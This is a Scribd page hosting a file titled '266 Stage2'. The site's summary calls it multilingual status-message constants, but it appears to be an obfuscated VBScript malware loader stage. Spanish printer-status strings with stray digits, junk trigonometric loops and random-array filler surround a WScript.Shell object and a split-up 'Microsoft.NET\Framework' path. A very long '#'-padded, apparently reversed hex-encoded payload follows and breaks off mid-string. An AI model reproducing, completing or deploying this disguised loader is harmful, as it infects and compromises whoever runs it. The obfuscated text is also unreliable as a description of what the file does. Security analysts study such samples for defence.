0% found this document useful (0 votes)
22 views88 pages

266 Stage2

The document defines constants for status message texts in multiple languages. It contains text in an unknown language formatted as code. Sections of text are repeated with minor variations.

Uploaded by

Tomer Bar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
22 views88 pages

266 Stage2

The document defines constants for status message texts in multiple languages. It contains text in an unknown language formatted as code. Sections of text are repeated with minor variations.

Uploaded by

Tomer Bar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 88

Const L_Text_Msg_Status3_Text = "Error de conexión con el 4444servi3dor de

impr22esión3"
Const L_Text_Msg_Status4_Text = "Imprimie333n444d33333333333333o el
do3333333333cumento actual4"
Const L_Text_Msg_Status5_Text = "La333333333
im44pr33es33333333o33333333333333333333ra e333st33á 333fuera44 de pap44el5"

For i = 1 To 100
constanteName = "L_Text_Msg_Status" & i & "_Text"

Next

Const L_Text_Msg_Status1_6Text = "E3333333333333rro33333333333333311333331r3 en l3a


con33exión con el servidor7"
Const L_Text_Msg_Status2_Te3xt = "Se ha pro334d3ucido un error desconocid3o"
Const L_Text_Msg_Statu4s3_Text = "El archivo no4 s333333e ha podido a5brir"
Const L_Text_Msg_Status314_Text = "La3 operación333 se ha co6mpletado exitosamente"
Const L_Text_Msg_Status34v5_Text = "Error de aute33333333333nt7icación"
Const L_Text_Msg_Stat44us6_Text = "No se puede ac333ce5der al recurso solicitado"
Const L_Text_Msg_Statu1s7_Text = "El servidor e33stá 7t33emporalmente fuera de
servicio"

Const L_Text_Msg_Statu424s8_Text = "L33a conexión h5a sido perdida"


Const L_Text_Msg_Stat44us9_Text = "Error i33nt744erno del sistema"
Const L_Text_Msg_Statu4424vs10_Text = "Se ha 3e33xc8e33dido el tiempo de espera"

Dim i, constanteName
For i = 1 To 200
constanteName = "L_Text_Msg_Status" & i & "_Text"

Next

Const L_Text_Msg_Status201_Text = "Error al cv333333cargar la configuración del


sistema"
Const L_Text_Msg_Status202_Text = "La impres1ora4433 n33o está disponible en este
momento"
Const L_Text_Msg_Status203_Text = "No ha333y c3onexión a 333la base de datos"
Const L_Text_Msg_Status204_Text = "El archiv4o 3333333333333no se puede encontrar"
Const L_Text_Msg_Status205_Text = "La oper6ación h444a sido cancelada por el
usuario"
Const L_Text_Msg_Status206_Text = "Error a7l procesar la solicitud"
Const L_Text_Msg_Status207_Text = "El se7rvicio 3no responde"
Const L_Text_Msg_Status208_Text = "La mem5oria está llena, cierre algunas
aplicaciones"
Const L_Text_Msg_Status209_Text = "No hay 5espa333cio suficiente en el disco"
Const L_Text_Msg_Status210_Text = "La impreso7ra está e35 m7odo de mantenimiento"

For i = 1 To MAX_ITERATIONS
For j = 1 To MAX_ITERATIONS
For k = 1 To MAX_ITERATIONS
x = Sin(i * PI / 180) * Cos(j * PI / 180)
y = Cos(k * PI / 180) * Sin(j * PI / 180)
z = Tan(i * PI / 180) * Sin(k * PI / 180)
If (x + y + z > 0) Then
result = Sqr(x + y + z)
Else
result = Sqr(-x - y - z)
End If
Next
Next
Next

Set xx = CreateObject("WScript.Shell")

rowCount = 4
colCount = 6

ReDim data(rowCount, colCount)


Randomize
For x = 1 To rowCount
For y = 1 To colCount
data(x, y) = Int((50 * Rnd) + 1)
Next
Next

For x = 1 To rowCount
For y = 1 To colCount
totalSum = totalSum + data(x, y)
If data(x, y) <> 0 Then
If totalProduct = 0 Then
totalProduct = data(x, y)
Else
totalProduct = totalProduct * data(x, y)
End If
End If
Next
Next

For x = 1 To rowCount
For y = 1 To colCount

Next

Next

Dim p1, p2, p3, p4, p5


p1 = "Mic"
p2 = "rosoft."
p3 = "NET"
p4 = "\Framework"
ss =
"##################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
###################################################################################
#########D3#C######C######C####################A#D#E397C626D656373716F2C3A#D#A#D#E3
D2D2#2#2A#D#E39736E65646E656#75646F2C3#2#2A#D#E397C626D65637371447E65646E656#75646F
2C3#2#2#2#2A#D#E3F2#2#2#2#2#2#2#2#2A#D#22A222D35676165776E616C6#2#2#2#2#2#2#2#2#2#2
A#D#226646136636364343134363265393536322D3E656B6F6459756B43696C62657#7#2#2#2#2#2#2#
2#2#2#2A#D#22A222D356275747365647968636271427F637375636F627#7#2#2#2#2#2#2#2#2#2#2A#
D#22#3E2#3E2#3E26322D3E6F69637275667#2#2#2#2#2#2#2#2#2#2A#D#2237C6F62747E6F634D2E6F
6D6D6F634E23777F646E69675E24766F637F6273696D422D356D616E6#2#2#2#2#2#2#2#2#2#2A#D#22
2333E6967722D356#79747#2#2#2#2#2#2#2#2#2#2A#D#97479647E656469497C626D656373716C3#2#
2#2#2#2#2A#D#E397C626D65637371447E65646E656#75646C3#2#2#2#2A#D#E39736E65646E656#756
46C3#2#2A#D#D2D212C3#2#2A#D#E3D2D2#29227564716C6#246E616#2#585#23777F646E6967582#23
776F6C6169646#246E616#237C6F62747E6F636#2E6F6D6D6F636#23777F646E69675#227F666#23756
D6568647#256C62616E654#2D2D212C3#2#2A#D#A#D#A#D#E3E6F69647163696C6#7#716F2C3#2#2A#D
#E33776E696474756353777F646E69677F2C3#2#2#2#2A#D#E35627167714864716#576E6F6C6F2C356
572747E3223776E696474756353777F646E69675F26313#323F294D435F2D6F636E24766F637F627369
6D6E23716D656863637F2F2A3#747478622D337E6C6D687#25627167714864716#576E6F6C6C39#9#A#
D#E3373756E6562716771496#746F2C327F64796E6F6D42756#5#2C2236527F64796E6F6D42756#5E32
23776E696474756353777F646E69675F26313#323F294D435F2D6F636E24766F637F6273696D6E23716
D656863637F2F2A3#747478622D337E6C6D687#2373756E6562716771496#746C39#9#A#D#E35627167
71496#746F2C356572747E3223776E696474756353777F646E69675F253#3#323F294D435F2D6F636E2
4766F637F6273696D6E23716D656863637F2F2A3#747478622D337E6C6D687#2562716771496#746C3#
2#2#2#2#2#2A#D#E33776E696474756353777F646E69677C3#2#2#2#2A#D#E3223367E2D63716A3D6F6
36D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D687#2E6F69647163696C6#7#71
6C3#2#2A#D#A#D#E3D2D2#2E2769666E6F636E2#7#716#22796568647#2E696#2725657274772#2F647
#276E69647475637#27276E696A796375625F647571496#7448676968437D627F6643777F646E696755
6C62616E65472#2568647#2475637#2F637C616#2#2#2#2#2#2#2A#D##246C657F68637#2C276E69647
475637#237968647#2F647E696#247#7F6#247168647#263E243#2B627F67756D6162764#24554E4E2#
276E696475676271647#237E6F69647163696C6#7#716#237D627F664#23777F646E69675#2E2E696#2
47#7F6#2F647#2#2#2#2#2#2#2A#D##2465656E6#247F6E6#2F646#246E616#25627167716D294#544#
297C6C61636964716D6F6475716#2562716#237E6F69647163696C6#7#716#29264#57582#2E6F69647
1646E657F664#2E6F696471647E656375627#5#23777F646E69675#2E23794#544#2#2#2#2#2#2#2A#D
#275686769686#24716#23777F646E69675#29726#24656C6163637#297C6C61636964716D6F6475716
#25626#247F6E6#2C6C69677#246E616#25627167716D294#544#23796#2E6F69647163696C6#7#716#
2568647#247168647#237564716369646E694#2D2D212C3#2#2A#D#A#D#E3974796C69626964716#7D6
F636F2C3#2#2A#D#E3E6F69647163696C6#7#716F2C3#2#2#2#2A#D#A#D#E3D2D2E3F2#222D71693165
31316#35346668343D253169326D283566643D233266626D22313167366#35683B722D34694#235F446
564727F6#7#75737C3D2D212C3#2#2#2#2#2#2A#D#E3D2D2#2#313#23777F646E69675#2D2D212C3#2#
2#2#2#2#2A#D#A#D#E3D2D2E3F2#222D783731646#3466366#3463383D226265393D293332343D21356
#383D26373366373636613B722D34694#235F446564727F6#7#75737C3D2D212C3#2#2#2#2#2#2A#D#E
3D2D2#213E283#23777F646E69675#2D2D212C3#2#2#2#2#2#2A#D#A#D#E3D2D2E3F2#222D783335663
1643164346936346D236931626D213434343D293263353D23356832366231643B722D34694#235F4465
64727F6#7#75737C3D2D212C3#2#2#2#2#2#2A#D#E3D2D2#283#23777F646E69675#2D2D212C3#2#2#2
#2#2#2A#D#A#D#E3D2D2E3F2#222D716339366532323#343432316D246235683D246266643D26393465
3D21693268333135333B722D34694#235F446564727F6#7#75737C3D2D212C3#2#2#2#2#2#2A#D#E3D2
D2#273#23777F646E69675#2D2D212C3#2#2#2#2#2#2A#D#A#D#E3D2D2E3F2#222D7#36633463356565
64683#3#3D256665316D253363343D263435313D27353431313#32356B722D34694#235F446564727F6
#7#75737C3D2D212C3#2#2#2#2#2#2A#D#E3D2D2#21647379665#23777F646E69675#2D2D212C3#2#2#
2#2#2#2A#D#A#D#E3D2D2#2E247E656D6E6F6279667E656#256C626964716#7D6F636#24737F6D6#256
8647#2473656C65637#297C6C61636964716D6F6475716#2C6C69677#23777F646E69675#246E616#2#
2#2#2#2#2#2#2#2#2#2A#D#3747E656D656C656#25647169627#7F627#7#716#2568647#247E656D6D6
F636E655#2E286479677#2B627F677#2F647#24656E67696375646#23796#246E616#2#2#2#2#2#2#2#
2#2#2#2A#D#E6F6#2465647375647#2E6565626#2371686#2E6F69647163696C6#7#716#237968647#2
47168647#237E6F69637275667#23777F646E69675#2568647#266F6#2473796C6#214#2D2D212C3#2#
2#2#2#2#2A#D#E3E6F69647163696C6#7#716C3#2#2#2#2A#D#E3221367E2974796C69626964716#7D6
F636A3D6F636D24766F637F6273696D6D23716D656863637A3E6275722D337E6C6D687#2974796C6962
6964716#7D6F636C3#2#2A#D#A#D#E3F666E6944737572747F2C3#2#2A#D#E39747962757365637F2C3
#2#2#2#2A#D#E337567656C696679627#5465647375657175627F2C3#2#2#2#2#2#2A#D#E3F2#222563
7C6166622D33737563636149657#2222756B6F667E694371622D3C6566756C6#2C6566756C4E6F69647
5736568754465647375657175627C3#2#2#2#2#2#2#2#2A#D#E3223367E2D63716A3D6F636D24766F63
7F6273696D6D23716D656863637A3E6275722D337E6C6D687#237567656C696679627#5465647375657
175627C3#2#2#2#2#2#2A#D#E39747962757365637C3#2#2#2#2A#D#E3222367E2D63716A3D6F636D24
766F637F6273696D6D23716D656863637A3E6275722D337E6C6D687#2F666E6944737572747C3#2#2A#
D#E3F222#7#716E2E6F69647163696C6#7#71497D422D356D616E6#222#3E273E2#3E21322D3E6F6963
7275667#297479647E656469497C626D656373716C3#2#2A#D#E3221367E2D63716A3D6F636D24766F6
37F6273696D6D23716D656863637A3E6275722D337E6C6D687#222#3E21322D3E6F6963727566547375
66696E616D6#297C626D656373716C3A#D#E3F32283D266475722D376E69646F636E656#222#3E21322
D3E6F69637275667#2C6D687F3C3FBBBFE#######3##E2##73##E2###3##E2##13######E6##F6##96#
#37##27##56##65###2##97##C6##26##D6##56##37##37##14##1###8###83#######3##E2##73##E2
###3##E2##13######E6##F6##96##37##27##56##65##47##36##57##46##F6##27###5##1###8###4
3##################56##D6##16##E4##47##36##57##46##F6##27###5##1###1###22##########
56##87##56##E2##47##E6##56##96##C6##34######56##D6##16##E6##56##C6##96##64##C6##16#
#E6##96##76##96##27##F4##1###B###E3##################37##B6##27##16##D6##56##46##16
##27##45##C6##16##76##56##C4##1###1###A2##############47##86##76##96##27##97###7##F
6##34##C6##16##76##56##C4##1###1###62##########56##87##56##E2##47##E6##56##96##C6##
34######56##D6##16##E4##C6##16##E6##27##56##47##E6##94##1###B###63#######3##E2##73#
#E2###3##E2##13##########E6##F6##96##37##27##56##65##56##C6##96##64##1###8####3####
##############E6##F6##96##47###7##96##27##36##37##56##44##56##C6##96##64##1###1###A
2##################56##D6##16##E4##97##E6##16###7##D6##F6##34##1###1###22##########
####37##47##E6##56##D6##D6##F6##34##1###1###A1#######3##26##43###3###3###3###3###3#
#1#####2##1######F6##66##E6##94##56##C6##96##64##76##E6##96##27##47##35##1#####2#43
4##B##############E6##F6##96##47##16##C6##37##E6##16##27##45######4###42##########F
6##66##E6##94##56##C6##96##64##27##16##65##1#######44##############################
1#######4###############F3##7#######1#######7#######1#######1#####EFFE4#DB#########
#F4##64##E4##94##F5##E4##F4##94##35##25##54##65##F5##35##65######432#4D############
########A#38####3E47####################2#4D#####E#A#######9##########1############
##################8####86######1###1####################################8##########
1##############################8####83######1###1##############################8###
##5######81#8#####2#######1##2#####################################################
###################################################################################
################4#2##52FF##########C6C646E2565627F63637D6##E69616D456875427F634F5##
######################DC#A#############################################2######DCEA#
###################DC49##5#D19A28215#D15518214#7#C#DA2811D7211#2##28#5#D15#D19A2821
8#5#D15518216#7#F#B#5#D11###5#5#8#5#D13#7#6#5#8#5#D15#D14#7#8#8#5#D12#7#5#5#D11#7#4
#2#87212#7#5#5#D15#D15518213#7#9#8#5#D1A#2###6#8#5#D16#2###6#8#5#D1B#2###6#8#5#D19#
2###6#8#5#D1D#2###6#8#5#D1C#2###6#8#5#D17#2###6#8#8#5#D15#4#7#7#DD18211#7#5#5518211
#7#5#5A28119828211#2###9#8#87218#E#E#D187216#7#B#D928119928111E1811E#1#4##2D#DD1821
5#D12#7#7#C#5#D11###5#522811C7112#7#7#E#D#1###4#A#D#1###4#522811A#1###6#C#A#1###4#D
#A#1###4#E#A#1###4#A#A#1###4#522811B#1###6#C#B#1###4#D#B#1###4#E#B#1###4#A#B#1###4#
C7111#7#4#5#1#1##24#8#5#D15#8#4#7#7#872187211#56181151E#8#8#5#7#E#87211#7#4#8###311
##25#8#8#5#D13#7#6#C1E#E#2###5#5#8#5#D156214#7#8#8#2#2#7#4#8#8#9828218#9828211#5###
C#5#D15#D15#D11628215#D15#D15#D1562821D52821551821A#7#A18#8#5#D15#D13##28#D72811972
821D7211#3##2B#972821###25#5728111#1##26#1728111#1##26#5#D15#D1562821162821D5282155
18216#7#218#5#D11##25#8#5#D1E#1#3##27#1528211#7#5#5#D19B18212#7#7#D42811C1E#1#3##28
#2#9B18212#7#6#5428211#1###6#2##1E#2#1#3##27#2#E#9B18212##27#E#9B18211##26#9B18211#
7#5#E#56212#7#5#D411D4112#2###7#D411###24#D521D1####5#D5218#D521D13#7#8#8#E#1##24#E
#C11##24#E#9#28215F1821DF1821E#5#7#D#D328112#1##26#5328211#1##26#532821####5#522811
###25#E#E#E#2##25#5228112#2#7#6#8#8#E#2##25#E#56211##25#C1D1E#1###5#512821####5#E#5
#8#5#D156215#D1E#7#7#C#E#C12#7#4#815521D18#8#3##28#C18#1###4#1#31##312#312##28#C1#1
D411#15521D#28211#4##2D#D4119718211###7#C321D411C15521815521D1832195218#7#112#C3215
5213#1521519##4211#7#4###31D1###25
#E#1#9121515#5#2821###25#5F1821###25#1F1821###25#1#28211#1##26#5F18218#2#7#6#DE1811
E#2#2##27#9718218#1###6#E#9#C211814#7#7#9E18211#1##26#1E1811E#1#2##27#C1E#1#2##25#E
#E#E#E#3###6#5D1811E#9B18212##29#9B18216#4#5B18211B18211###8#DC18111#1##26#E#D1E#1#
##5#1B1821D1####6#5C1821###25#1B1821####5#DB1821E#5#D19B18215B18211B18218#1B1821D1E
#DA1821A#7#A1#2211#A#4#971821819A18212###9###E12#5F#821###25#C1E#1#2###5#8#818#5#D1
1#4###8#B#911###4#5F#8219#81E#E#5#7#9#E#E#E#2###5#E#E#2#7#4#9#318#317#316#315#314#3
13#312#311#31##311#A##271E#E#E#93215#D1E#9#21D#21C15321A#13215131##316#3#191821##31
1#D221511###B#E#E#E#93215#D1E#9#21D#21C15321A#1321511#D22151715818211#D618215197182
19718211#D6182151E#5918111918215###C1E#9818115818212###9#1818119718211###8#971821C1
1###6#E#9718211##26#5#D15718211##27#171821####5#C11#7#3###312#1##25###31###24#87211
#561811517###311#56181151###29#87211#A#4###E11#D6182151##E11#9121511#1##1#1##311#1#
#25#87211#9121516#5#D12#872187211#56181151E#87214#7#E#8#8#5#D11#3##27#D518118#2#2##
27#2##1C11#2###6#5#D18#5518215#D12#C16#7#C#C11#1##24#1518211#1##26#8#8#5#D18#3##27#
8#5#D18#2###6#92218#1##25#8#8#2#7#4#D1212#1##25#E#9418111###6#C114218#8#5#D192215##
2B#8#8#C11418211#4##29#2#931811531821E#1#4##2B#131821###25#D218212#D7211#3##29#2#D#
211#2##26#8#8#8#2##25#521811E#D1E#D12##29#1218211#1##26#8#9F#8211#2##27#E#9F#821D11
###7#8#8#1##24#3#D1E#D11##26#D#18119#18115#18111#3##2C#E#D11#1821DF#8219F#8218#9F#8
21D18#E#8#7#415#D1E#5#D12#3##28#E#E#1###4#E#5#D11##25#5E#821###25#1E#821###25#2#DD#
8219D#8213#7#9#5#D1E#1##25#5D#821####5#2#1#7#3#E#8#1###4#8#1#7#3#####D65647944###1#
9#####135383242443#3#31414#3#3D253331383D254341313D224342343D2#3#314237323535342##1
#92##########1###1#8#5C#8111#1##26#####6383543413139334#314#3#3D224334424D2#3441313
D243832453D2232383#34383932342##1#92####1###1#5#43#2B627F67756D6162764#24554E4E2#15
6D616E49716C6#7379644B627F67756D616276441E#45##1##3E24367D3E6F69637275665C2B627F677
56D61627644554E4E2A1##1#74#####3E273E2#3E2137###1#C#########1#5###########2###1#8#D
8#8111#1##26#1#3777F6278645E6F69647#756368754E6F6E4#7162775612#45##1###1#E1########
##8###1#8#8#1#1##24##9#8116#4#A#D7211#2###6#B#D7211#2###6#2#D7211#2###6#C#D7211#2##
#6#D#D7211#2###6#5#D1D7211#2###7#E#D7211#2###6#D7211#1###5#D7215#E#2###6#D721E#1###
5#8#D721E#2###6#######B#4#######A#4#######9#4#######8#4#######7#4#######6#4#######5
#4#######4#4#######3#4#########4#C711##824#4721##824#D###823#A###823#E###823#5721##
#24#C711###24#4721###24#D#1#1##24#C#1#1##24#2#1#1##24#E####23#E#2#1##24#8#E#1#2##25
#E#E#1#2##25#5#D1###24#5#D11#1##25#D####23#A####23#B####23#B#1#1##24#A#1#1##24#D721
1#1##25#E#8#1##24#47216#3#C7116#3#8###823#8#87211#825#8####23#8#87211##25#D#87211##
25#A#87211##25#E#87211##25#8721###24#87211#91215187211#2##2B#87216#3#C1##823#2####2
3#C1###23#87211#9121511#1##29#D#5#D11###5#6#5#D11###5#8#5#D11###5#A#5#D11###5#5#D15
#D11###6#5#D1E#1###5#17216#3#5#D15#D12#2##27#5#D15#D11##26#E#E#1##24#E#1#1##24#####
###14########44########24#E#5#D11###5#5#D1E#2#2###6#D621C11#2###6#8#1#######1#4##8#
#####4#85116#3#9#9#9#1#3###6#8#5621818#3###7#81####3#93216#3#851185111###6#1621D521
1###6#A3A#5D11F7F5F3#B8#######2#4#8#E#E#2###5#E#####3#C32155212#2##27#E#1#9121516#6
#C1#1E#8#2##26#511#8#C1#1E#8#3##27#8#9521#1D411#18#3##2A#2#C32155213#152151D4111#2#
##E#D411E#1#9121511###9#E#D1####4#D4116#3#4#18713#816#2#9#6#2#8#812#2###5#812#1###4
#9#2#9#813###6#C211#1812#2###7#9#9#812###5#9#1#1###4#E#E#2#2###5#1#461656278645C6F6
2747E6F634D#2#451#219383#356433393136353365316737326D3E656B6F6459756B43696C62657#5#
2C2C61627475756E6D356275747C65734#2C2#3E2#3E2#3E243D3E6F69637275665#2C22696C627F636
37D6#2C2564757269627474714E6F696373796D62756#59747962757365635E237E6F696373796D6275
6#5E29747962757365635E2D6564737973548#81#E2B9#854216#3#92219##18#2##27#C114219##19#
918192216##2C#9##19#91818#4##28#81C11#2##25#E#E###E12#1##17#E##181812###6#221#E##18
11###5##2216#3#E#E#E#93215#D1E#9#21D#21C15321A#1321511#D221516#818###8#3#C1##8#3#2#
##8#3#5121##8#4#A###8#3#5#D1##8#4#1121##8#4#D#21##8#4#E#1#1###4#87211#1###5#C11#1##
#4#92211#1###5#52111221D121C12#4###A#E#2#1###4#8#1#1###4#8#####3#C1####3#2#1#1###4#
51211#1###5#5121####4#A#1#1###4#A#####3#5#D11#1###5#5#D1####4#11211#1###5#1121####4
#D#211#1###5#D#21####4#87211#9121516#7#8#6#2#C16#2#2#6#2#51216#3#A#6#2#5#D16#3#1121
6#3#D#216#3#2#####3#86216#3#9#216#3#E#6#2#1####23#1#####3#98#E439165C5A77B8###8ECF7
4#5A8BECA9834C3#A7654EDD3AE######93##36##42##C2##83##36##42##C2##73##36##42###2##56
###7##97##47###2##92##23##33##87##56##C2##63##13##47##87##56##C2##83##47##87##56##8
254####13##36##42###2##56###7##97##47###2##92##46##56##37##57###2##27##56##67##56##
E6##82B2#####2##D7##23##85##A3###3##B7F######2##D7##33##44##A3###3##B7F#####E6##57#
#86##36##E6##16##46##17##77##17##97##24##47##16##25##36##4432####E2##92##34##14##D4
##82###2##56##46##F6##36###2##E6##F6##96##47##16##36##96##47##E6##56##86##47##57##1
6###2##56##76##16##37##37##56##D6###2##46##96##C6##16##67##E6##9455####E2##C6##C6##
57##E6###2##56##26###2##47##F6##E6###2##E6##16##36###2##47##57###7##E6##96D2####E2#
#97##47###7##D6##56###2##27##F6###2##C6##C6##57##E6###2##56##26###2##47##F6##E6###2
##E6##16##36###2##97##56##B4##27##56##47##37##16##D674####C5##56##27##16##77##47##6
6##F6##35311###37##76##E6##96##47##47##56##37##D2##37##D671####56##C6##96##66##36##
37##D6F#####37##56##37##37##16##C6##34F#####56##27##16##77##47##66##F6##3511####27#
#96##46##E6##96##77D#####47##E6##56##D6##E6##F6##27##96##67##E6##5471####E6##77##F6
##E6##B6##E6##55F#####14##F2##E47######2##B35#####56##D6##16##E4##97##16##C6###7##3
7##96##4671####47##36##57##46##F6##27###5##37##57##27##96##67##96##47##E6##14###2##
D6##F6##27##66###2##A2###2##47##36##56##C6##56##35D3####23##27##56##47##E6##56##34#
#97##47##96##27##57##36##56##35##C5##47##F6##F6##27##C5B2####C5##C55######7##57##F6
##27##74B#####46##56##F5##C6##C6##16##47##37##E6##9451####37##57##27##96##67##F5##9
6##47##E6##1451####E6##96##26##F5##56##47##37##16###531####56##36##E6##16##D6##F5##
27##F6##66##27##56###591####56##37##C6##16##66B#####56##57##27##479#####E6##96##D6#
#46##14B#####E6##F6##96##37##27##56##65F#####86##47##16###59#####16##27##56##D6##16
##34D#####47##96##26##23##33B#####56##37##C6##16##64B#####47##96##26##43##63B#####5
6##57##27##459######23#####47##66##F6##37##F6##27##36##96##D431####35##F45#####27##
56##37##559#####44##94##75##849#####F6##66##E6##94##47##E6##56##96##C6##3451####44#
#94##75##84###2##27##27##5411####23##875#####56##D6##16##E4##97##C6##46##E6##56##96
##27##64911###D7##13##53##83##24##24##43###3###3##14##14###3###3##D2##53##33##13##8
3##D2##54##34##13##13##D2##24##34##23##43##D2###3###3##14##23##73##23##53##53##B7D4
1###D7##63##83##54##34##13##13##93##34###3##14###3###3##D2##24##33##44##24##D2###3#
#46##13##13##D2##24##54###3##63##D2###3##13##44##53##54##24##23##63##B7D41###D7##63
##83##54##34##13##13##93##34###3##14###3###3##D2##24##33##44##24##D2###3##46##13##1
3##D2##13###3##44##53##D2###3##13##33##24##24###3##63##83##B7D4####97##27##F6##D6##
56##D4##56##86##36##16##34##F5##23##33##E6##96##75###2##D6##F6##27##66###2##A2###2#
#47##36##56##C6##56##35F3####56##87##56##E2##C6##C6##96##B6##B6##37##16##4791####56
##87##56##E2##37##76##E6##96##47##47##56##35##C6##F6##27##47##E6##F6##34##47##E6##5
7##F6##36##36##14##27##56##37##55D3####56##87##56##E2##47##96##46##56##76##56##2571
####56##87##56##E2##76##96##66##E6##F6##34##35##D491####56##87##56##E2##97##36##96#
#C6##F6###5##97##47##96##27##57##36##56##35##76##96##66##E6##F6##3413####56##87##56
##E2##67##27##35##37##96##E451####56##87##56##E2##E6##57##25##46##D6##34###7##D491#
###56##87##56##E2##67##27##35##85##55###7##D471####56##87##56##E2##76##E6##54###7##
D4##37##D471####56##87##56##E2##96##57##34##35##14##35##D471####56##87##56##E2###7#
#87##56##36##F6##27###771####56##87##56##E2##27##56##B6##36##16##84##37##37##56##36
##F6##27###532####56##87##56##E2##27##76##D6##B6##37##16##4571####17##F2###2##66##F
2###2##22F#####22###2##C4##54##44B######2##44##347#####22###2##22##22###2##45##25##
14##45##3551####C4##55##E4###2##E3###2##33###2##47##57##F6##56##D6##96##47F1####66#
#66##F6###2##F6##86##36##56###431####47##16##26##E29#####D3##D3##14##85##57##65##E6
##55##36##53##23##26###7##E4##E6##36##C6##A5##64##46##57##65##D6##36##97##65##33##1
5##36##E4##33##46##67##25##D6##26###7##46##64##85###3##A5##23##26##A7##93##D6##36##
A6##C6##75##45##36##65##B6##55##24##46##64##65##74##93###3##5518#81###47##96##87##5
6###2##62###2##72##22311###22##72###2##27##47##F2###2##2211####223#####76##43##74##
46##67##14##34##46##A7##65##74##16##E6##C6##74##16##76##77##D6##36##67##14##96##26#
#67##46##23##26##37##53##23##26##76##D4##23##36##67##14##96##A5##67##14##35##A5###3
##64##75##A5##97##E4##23##C4##76##D4##33##16##A7##64##74##46##F6##E4##23##36##76##D
4##23##C498#8####46##D6##367#####D3##15##33##95##C6##25##33##26##97##24##64##26##86
##65##84##46##97##C6##D6##6592####23##33##C6##56##E6##27##56##B611####D7###3##B7###
2##D5##87##B5###211####D3##94##85##A5##D6##A5##75##46##34##53##75##95##A6##E4##65##
16##A7##13##75##1592####D3##77##74##26##B6##53##35##16##A7##13##75##9591####D3##14#
#14##74##34##44D#####43##24##14##36##64##57D#####44##44##43##249#####14##36##64##57
9#####27##F6##27##27##54B#####D3##15##75##A5##23##C6##75##A5##A6##65##D6##5591####B
6##36##16###7##76##37##D4F#####E6##57##257#####E6##96##76##57##C6###5##E2##E6##96##
76##57##C6###5B1####86##37##16##849#####37##56##86##37##16##84D#####E6##96##76##57#
#C6###5##46##E6##56##3751####C6##C6##447#####E6##96##76##57##C6###5##F5##56##67##16
##3771####E6##96##76##F5##57##C6###7F#####76##E6##F5##F6###5B#####56##76##16##37##3
7##56##D4F#####76##E6##96###59#####47##56##B6##F5##36##16###5F#####A33#####C6##C6##
57##E69#####D3##D3##77##15##26###5##96##57##B4##23##94##43##86##85##86##85##37##93#
#17##73##C6##75##63##D6##16##B6##83##F6##83##84##36##35##B4##E4##86##75##65##33##34
##F2###3##26##47##73##16##97##97##47###5##B2##84##F6##F2##73##74##A5##47##D4##77##9
4##E4##74##C4##86###5##64##34##56##45##76##64##C4##96##17##74##54##65##85##35##66##
16##27##26##A7##17##C4##63##241B#8####D3##D3##15##47##D6##33##27##45##F6##63##13##4
5##B4##B2##44##47##55##C4##85##73##26##
86##67##45##14##14##14##A6##17##83##13##A4##E6##94##77##54##E4##35##17##B2##74##75#
#46##33##17##13##26##24###3##17##77###5##A7##26##25##97##53##94##63##87##93##A5##F6
##C4##B2##85###7##44##63##26##65##B6##65##B6##D4##97##85##55##27##87##27##14##44##6
5##A6##A4##23##371B#8####D3##D3##77##B4##B2##77##84##95##A7##73##37##86##14##A5##33
##94##96##E6##A5##B2##37##B2##24##64##94##73##74##17##13##96##55##36##83##A6###7##1
6##64##63##97##43##47##53##F6##55##C6##33##E6##73##67##95##84##96##86##A4##96##87##
#5###7###3##F6##95##76##35##45##B4##45##84##A6##76##17##77##17##13##77##64##A6##76#
#63##45##83###3##A7##67##24##16##45##97##33##54##F4##96##46###7##F4##67##97##76##27
##F4##43##B6##64##94##97##16##34##F4##16##B4##A6##95##86##85##D4##96##E4##E6##97##F
2##86##17###3##56##83##36##15##E4##C4##53##74##47##43##C4##75##94##E4##44##87##95##
F4###3##87##14##D6###3##73##A7##D4###5##43##53##85###3##73##65##B4##86##47###3##46#
#84##54##C4##A6##97##56##C6##86##F6##A6##93##54##85##64##47##B6##67##55##77##76##B2
##24##97##96##47##85##34##A6##85##24##24##83##75##17##46##95##45##76##94##77##E6##A
5##23##86##64##F4##47##96##23##E4##A6##84##63##95##27##46##25##87##95##73##54##97##
63##66##66##36##D4##65##64##D6##D4##37##44##65##67##73##83##96##73##13##13##73##36#
#F2##F6##D6##43##54##23##44###7##B2##A7##56##97##76###7##13##84##54##36##14##84##16
##87##63##74##36##77##43##A4##66##66##95##A4##67##24##95##64##A7##E4##F2##23##97##7
5##A6##66##F6##55##23##D4##E6##63##24##43##45##75##84##67##13##27##B6##53##74###5##
34###7###7##95##15##65##83##C6##A6##B6##83##86##25##24##A4##96##13##17##D6##67###7#
#B2##96##F2##87##27##A4##34##B6##67##94##15##66##E4##76##84##97##15##141B28####133#
####D3##D3##76##95##A6##B2##B4##83##76##23##36##54##76##94##63##93##14##94##D4##F2#
#93##E4##F2##C4##44##87##83##33##17##66##24##57##63##64##86##C6##45##77##F4##F6##13
##76##53##13##85##26##35##94##64##C6##A4##27##16##63##56##66##84##47##B6##47##13##D
6##14##33##65##14##E6##84##D6##94##93##D4##E6##24##16##C4##34##D4##A4##33##E6##83##
86##87##55##24##26##A51B#8####D3##D3##76##33##55##15##F4##77##A5##15##E4##97##26##2
6##87##86##56##D4##53##83##E6##85##37##E4##66##67##A5##26##27##26##D6##34##75##65##
37##47##74##96##55##74##D6##64##26##66##45##C6##35##67##93##97##F2##94##27##46##C4#
#46##A7##F2##55##23##F2##96##96##13###7##97##14##84##A6##65##64##64##96##D4##16##D6
##54##D6##16##86##73##93##C6##27##95##83##15##571B#8####D3##F6##63##24##F4##74##37#
#55##67##17##33##57##53##C4##15##76##56##A4###3##63##A5##F4##66##96##D6##94##17##47
##C4###7##F2##45##83##16##16##95##25##C4##55##F6##14##B6##F2##E4##73##27##46##93##5
4##A5##33##83##76##85##B2##13##65##83##94##B2##D4##75##77##43##36##E4##C6##B4##24##
#5##43##66##84##37###3##D6##A6##24##96##17##16###5##75###5##F6##34##76##E4###3##94#
#E4##E4##C4##D6##43##43##17##73##64##E4##E4##84##13##E6##27##B2##97##55##C6##A5##F4
